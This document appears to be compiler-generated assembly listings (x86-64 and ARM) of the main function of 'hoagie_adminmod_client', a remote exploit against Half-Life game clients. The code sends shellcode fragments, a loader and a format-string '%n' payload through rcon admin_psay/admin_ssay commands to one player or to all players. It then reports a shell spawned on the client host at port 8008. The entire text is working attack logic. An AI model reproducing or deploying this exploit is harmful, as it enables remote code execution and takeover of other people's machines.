	.file	"extr_22142.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"hoagie_adminmod_client - remote exploit for half-life-clients"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"by greuff@void.at\n"
	.section	.rodata.str1.8
	.align 8
.LC2:
	.string	"Usage: %s server_ip server_port rcon_password [player_nick]\n\n"
	.section	.rodata.str1.1
.LC3:
	.string	"admin_command admin_psay \"%s\""
.LC4:
	.string	"admin_command admin_ssay"
	.section	.rodata.str1.8
	.align 8
.LC5:
	.string	"Sending to ALL clients! You have 3 sec to abort..."
	.section	.rodata.str1.1
.LC6:
	.string	"%s "
.LC7:
	.string	"%%%du%s"
	.section	.rodata.str1.8
	.align 8
.LC8:
	.string	"Writing shellcode fragment at offset %d...\n"
	.align 8
.LC9:
	.string	"Writing bootstrap at offset %d...\n"
	.align 8
.LC10:
	.string	"%s AA%c%c%c%c%c%c%%.f%%.f%%.f%%.f%%.f%%.%du%%n"
	.align 8
.LC11:
	.string	"Writing return into shellcode instructions..."
	.align 8
.LC12:
	.string	"Shell (hopefully) spawned at client host port 8008."
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	lea	r11, -98304[rsp]
	.cfi_def_cfa 11, 98360
.LPSRL0:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL0
	.cfi_def_cfa_register 7
	sub	rsp, 2856
	.cfi_def_cfa_offset 101216
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 101144[rsp], rax
	xor	eax, eax
	mov	ebp, edi
	lea	rdi, .LC0[rip]
	mov	rbx, rsi
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	lea	eax, -4[rbp]
	cmp	eax, 1
	ja	.L11
	mov	rsi, QWORD PTR 8[rbx]
	mov	rdi, QWORD PTR server_ip[rip]
	call	strcpy@PLT
	mov	rdi, QWORD PTR 16[rbx]
	xor	esi, esi
	mov	edx, 10
	call	strtol@PLT
	mov	rsi, QWORD PTR 24[rbx]
	mov	rdi, QWORD PTR rcon_pwd[rip]
	mov	DWORD PTR server_port[rip], eax
	call	strcpy@PLT
	cmp	ebp, 5
	jne	.L3
	mov	rsi, QWORD PTR 32[rbx]
	mov	rdi, QWORD PTR player_nick[rip]
	lea	r14, 16[rsp]
	call	strcpy@PLT
	mov	rdx, QWORD PTR player_nick[rip]
	lea	rsi, .LC3[rip]
	xor	eax, eax
	mov	rdi, r14
	call	sprintf@PLT
	jmp	.L4
.L11:
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
	mov	rsi, QWORD PTR 8[rbx]
	mov	rdi, QWORD PTR server_ip[rip]
	call	strcpy@PLT
	mov	rdi, QWORD PTR 16[rbx]
	xor	esi, esi
	mov	edx, 10
	call	strtol@PLT
	mov	rsi, QWORD PTR 24[rbx]
	mov	rdi, QWORD PTR rcon_pwd[rip]
	mov	DWORD PTR server_port[rip], eax
	call	strcpy@PLT
.L3:
	mov	rax, QWORD PTR player_nick[rip]
	lea	r14, 16[rsp]
	mov	ecx, 25
	lea	rsi, .LC4[rip]
	mov	rdi, r14
	mov	BYTE PTR [rax], 0
	rep movsb
.L4:
	mov	rax, QWORD PTR player_nick[rip]
	cmp	BYTE PTR [rax], 0
	je	.L12
.L5:
	mov	edx, DWORD PTR server_port[rip]
	lea	rdi, 12[rsp]
	mov	ebx, 168
	mov	rsi, QWORD PTR server_ip[rip]
	mov	ebp, 5056
	lea	r12, 1136[rsp]
	lea	r13, 128[rsp]
	call	create_conn@PLT
	.p2align 4,,10
	.p2align 3
.L6:
	mov	rdx, r14
	lea	rsi, .LC6[rip]
	mov	rdi, r12
	xor	eax, eax
	call	sprintf@PLT
	mov	rax, QWORD PTR shellcode[rip]
	mov	edx, ebp
	mov	rdi, r13
	lea	rsi, .LC7[rip]
	mov	rcx, QWORD PTR [rax+rbx]
	xor	eax, eax
	call	sprintf@PLT
	mov	rsi, r13
	mov	rdi, r12
	call	strcat@PLT
	mov	esi, ebp
	lea	rdi, .LC8[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, DWORD PTR 12[rsp]
	mov	r9, r13
	mov	r8, r12
	mov	edx, DWORD PTR server_port[rip]
	mov	rcx, QWORD PTR rcon_pwd[rip]
	mov	rsi, QWORD PTR server_ip[rip]
	call	send_rcon@PLT
	mov	r15, QWORD PTR shellcode[rip]
	mov	rdi, QWORD PTR [r15+rbx]
	sub	rbx, 8
	call	strlen@PLT
	mov	edx, -2
	sub	edx, eax
	add	ebp, edx
	cmp	rbx, -8
	jne	.L6
	mov	rdi, QWORD PTR [r15]
	call	strlen@PLT
	mov	rdx, r14
	lea	rsi, .LC6[rip]
	mov	rdi, r12
	sub	ebp, eax
	xor	eax, eax
	call	sprintf@PLT
	mov	rcx, QWORD PTR loader[rip]
	mov	edx, ebp
	xor	eax, eax
	lea	rsi, .LC7[rip]
	mov	rdi, r13
	call	sprintf@PLT
	mov	rsi, r13
	mov	rdi, r12
	call	strcat@PLT
	mov	esi, ebp
	lea	rdi, .LC9[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, DWORD PTR 12[rsp]
	mov	r9, r13
	mov	r8, r12
	mov	rcx, QWORD PTR rcon_pwd[rip]
	mov	edx, DWORD PTR server_port[rip]
	mov	rsi, QWORD PTR server_ip[rip]
	call	send_rcon@PLT
	mov	eax, DWORD PTR STRADDR[rip]
	push	734
	.cfi_def_cfa_offset 101224
	mov	rdi, r12
	push	195
	.cfi_def_cfa_offset 101232
	lea	rsi, .LC10[rip]
	lea	eax, 73[rbp+rax]
	mov	rdx, rax
	movzx	ebx, ah
	mov	rcx, rax
	shr	rax, 16
	shr	rcx, 24
	movzx	eax, al
	movzx	r8d, dl
	mov	r9, rbx
	push	rcx
	.cfi_def_cfa_offset 101240
	mov	rdx, r14
	mov	ecx, 104
	push	rax
	.cfi_def_cfa_offset 101248
	xor	eax, eax
	call	sprintf@PLT
	add	rsp, 32
	.cfi_def_cfa_offset 101216
	lea	rdi, .LC11[rip]
	call	puts@PLT
	mov	edi, DWORD PTR 12[rsp]
	mov	r9, r13
	mov	r8, r12
	mov	rcx, QWORD PTR rcon_pwd[rip]
	mov	edx, DWORD PTR server_port[rip]
	mov	rsi, QWORD PTR server_ip[rip]
	call	send_rcon@PLT
	mov	edi, DWORD PTR 12[rsp]
	call	close@PLT
	lea	rdi, .LC12[rip]
	call	puts@PLT
	mov	rax, QWORD PTR 101144[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L13
	add	rsp, 101160
	.cfi_remember_state
	.cfi_def_cfa_offset 56
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	ret
.L12:
	.cfi_restore_state
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	edi, 3
	call	sleep@PLT
	jmp	.L5
.L13:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.comm	server_port,4,4
	.comm	server_ip,8,8
	.comm	rcon_pwd,8,8
	.comm	player_nick,8,8
	.comm	loader,8,8
	.comm	STRADDR,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_22142.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"hoagie_adminmod_client - remote exploit for half-li"
	.ascii	"fe-clients\000"
	.align	2
.LC1:
	.ascii	"by greuff@void.at\012\000"
	.align	2
.LC2:
	.ascii	"Usage: %s server_ip server_port rcon_password [play"
	.ascii	"er_nick]\012\012\000"
	.align	2
.LC3:
	.ascii	"admin_command admin_psay \"%s\"\000"
	.align	2
.LC4:
	.ascii	"admin_command admin_ssay\000"
	.align	2
.LC5:
	.ascii	"Sending to ALL clients! You have 3 sec to abort...\000"
	.align	2
.LC6:
	.ascii	"%s \000"
	.align	2
.LC7:
	.ascii	"%%%du%s\000"
	.align	2
.LC8:
	.ascii	"Writing shellcode fragment at offset %d...\012\000"
	.align	2
.LC9:
	.ascii	"Writing bootstrap at offset %d...\012\000"
	.align	2
.LC10:
	.ascii	"%s AA%c%c%c%c%c%c%%.f%%.f%%.f%%.f%%.f%%.%du%%n\000"
	.align	2
.LC11:
	.ascii	"Writing return into shellcode instructions...\000"
	.align	2
.LC12:
	.ascii	"Shell (hopefully) spawned at client host port 8008."
	.ascii	"\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC13:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 101128
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	mov	r5, r0
	sub	sp, sp, #100352
	sub	sp, sp, #804
	ldr	r2, .L14
	add	r3, sp, #100352
	ldr	r0, .L14+4
	add	r3, r3, #796
	ldr	r2, [r2]
	str	r2, [r3]
	mov	r2,#0
	mov	r4, r1
	bl	puts
	ldr	r0, .L14+8
	bl	puts
	sub	r3, r5, #4
	cmp	r3, #1
	bhi	.L11
	ldr	r3, .L14+12
	ldr	r1, [r4, #4]
	ldr	r0, [r3]
	str	r3, [sp, #28]
	bl	strcpy
	mov	r2, #10
	mov	r1, #0
	ldr	r0, [r4, #8]
	bl	strtol
	mov	r3, r0
	ldr	r2, .L14+16
	ldr	ip, .L14+20
	ldr	r0, [r2]
	ldr	r1, [r4, #12]
	str	r2, [sp, #36]
	str	ip, [sp, #32]
	str	r3, [ip]
	bl	strcpy
	cmp	r5, #5
	bne	.L3
	ldr	r5, .L14+24
	add	r6, sp, #800
	ldr	r1, [r4, #16]
	ldr	r0, [r5]
	sub	r8, r6, #752
	bl	strcpy
	mov	r0, r8
	ldr	r2, [r5]
	ldr	r1, .L14+28
	bl	sprintf
	b	.L4
.L11:
	ldr	r3, .L14+12
	ldr	r1, [r4]
	mov	r5, r3
	ldr	r0, .L14+32
	str	r3, [sp, #28]
	bl	printf
	mov	r0, #1
	bl	exit
	ldr	r1, [r4, #4]
	ldr	r0, [r5]
	bl	strcpy
	mov	r2, #10
	mov	r1, #0
	ldr	r0, [r4, #8]
	bl	strtol
	mov	r3, r0
	ldr	r2, .L14+16
	ldr	ip, .L14+20
	ldr	r1, [r4, #12]
	ldr	r0, [r2]
	str	r2, [sp, #36]
	str	ip, [sp, #32]
	str	r3, [ip]
	bl	strcpy
.L3:
	add	r6, sp, #800
	sub	r8, r6, #752
	mov	ip, r8
	mov	r7, #0
	ldr	r5, .L14+24
	ldr	lr, .L14+36
	ldr	r4, [r5]
	ldmia	lr!, {r0, r1, r2, r3}
	strb	r7, [r4]
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2}
	stmia	ip!, {r0, r1}
	strb	r2, [ip]
.L4:
	ldr	r3, [r5]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	beq	.L12
.L5:
	ldr	r3, [sp, #32]
	sub	r0, r6, #756
	ldr	r2, [r3]
	ldr	r3, [sp, #28]
	mov	r5, #84
	ldr	r1, [r3]
	bl	create_conn
	mov	r4, #5056
	add	r6, sp, #1136
	ldr	r7, .L14+40
	ldr	fp, .L14+44
	ldr	r10, .L14+48
	add	r6, r6, #12
.L6:
	mov	r2, r8
	mov	r1, fp
	mov	r0, r6
	bl	sprintf
	ldr	r3, [r7]
	mov	r2, r4
	ldr	r3, [r3, r5]
	mov	r1, r10
	add	r0, sp, #148
	bl	sprintf
	add	r1, sp, #148
	mov	r0, r6
	bl	strcat
	mov	r1, r4
	ldr	r0, .L14+52
	bl	printf
	add	r3, sp, #148
	str	r3, [sp, #4]
	ldr	r2, [sp, #32]
	ldr	r3, [sp, #36]
	ldr	r1, [sp, #28]
	str	r6, [sp]
	ldr	r3, [r3]
	ldr	r2, [r2]
	ldr	r1, [r1]
	ldr	r0, [sp, #44]
	bl	send_rcon
	ldr	r9, [r7]
	ldr	r0, [r9, r5]
	bl	strlen
	sub	r5, r5, #4
	sub	r4, r4, r0
	cmn	r5, #4
	sub	r4, r4, #2
	bne	.L6
	ldr	r0, [r9]
	bl	strlen
	mov	r5, r0
	mov	r2, r8
	ldr	r1, .L14+44
	mov	r0, r6
	bl	sprintf
	ldr	r3, .L14+56
	sub	r5, r4, r5
	mov	r2, r5
	ldr	r3, [r3]
	ldr	r1, .L14+48
	add	r0, sp, #148
	bl	sprintf
	add	r1, sp, #148
	mov	r0, r6
	bl	strcat
	mov	r1, r5
	ldr	r0, .L14+60
	bl	printf
	ldr	r7, [sp, #36]
	ldr	r9, [sp, #32]
	ldr	r10, [sp, #28]
	add	r3, sp, #148
	str	r3, [sp, #4]
	str	r6, [sp]
	ldr	r3, [r7]
	ldr	r2, [r9]
	ldr	r1, [r10]
	ldr	r0, [sp, #44]
	bl	send_rcon
	mov	r0, #195
	ldr	r3, .L14+64
	ldr	r1, .L14+68
	ldr	r4, [r3]
	mov	r2, r8
	add	r4, r4, #73
	add	r4, r4, r5
	lsr	ip, r4, #16
	lsr	r3, r4, #8
	lsr	lr, r4, #24
	and	ip, ip, #255
	and	r3, r3, #255
	and	r4, r4, #255
	stmib	sp, {r3, ip, lr}
	str	r0, [sp, #16]
	mov	r3, #104
	str	r1, [sp, #20]
	mov	r0, r6
	ldr	r1, .L14+72
	str	r4, [sp]
	bl	sprintf
	ldr	r0, .L14+76
	bl	puts
	add	r3, sp, #148
	str	r3, [sp, #4]
	str	r6, [sp]
	ldr	r3, [r7]
	ldr	r2, [r9]
	ldr	r1, [r10]
	ldr	r0, [sp, #44]
	bl	send_rcon
	ldr	r0, [sp, #44]
	bl	close
	ldr	r0, .L14+80
	bl	puts
	add	r3, sp, #100352
	ldr	r2, .L14
	add	r3, r3, #796
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L13
	mov	r0, #0
	add	sp, sp, #100352
	add	sp, sp, #804
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L12:
	ldr	r0, .L14+84
	bl	puts
	mov	r0, #3
	bl	sleep
	b	.L5
.L13:
	bl	__stack_chk_fail
.L15:
	.align	2
.L14:
	.word	.LC13
	.word	.LC0
	.word	.LC1
	.word	server_ip
	.word	rcon_pwd
	.word	server_port
	.word	player_nick
	.word	.LC3
	.word	.LC2
	.word	.LC4
	.word	shellcode
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	loader
	.word	.LC9
	.word	STRADDR
	.word	734
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC5
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	server_port,4,4
	.comm	server_ip,4,4
	.comm	rcon_pwd,4,4
	.comm	player_nick,4,4
	.comm	loader,4,4
	.comm	STRADDR,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
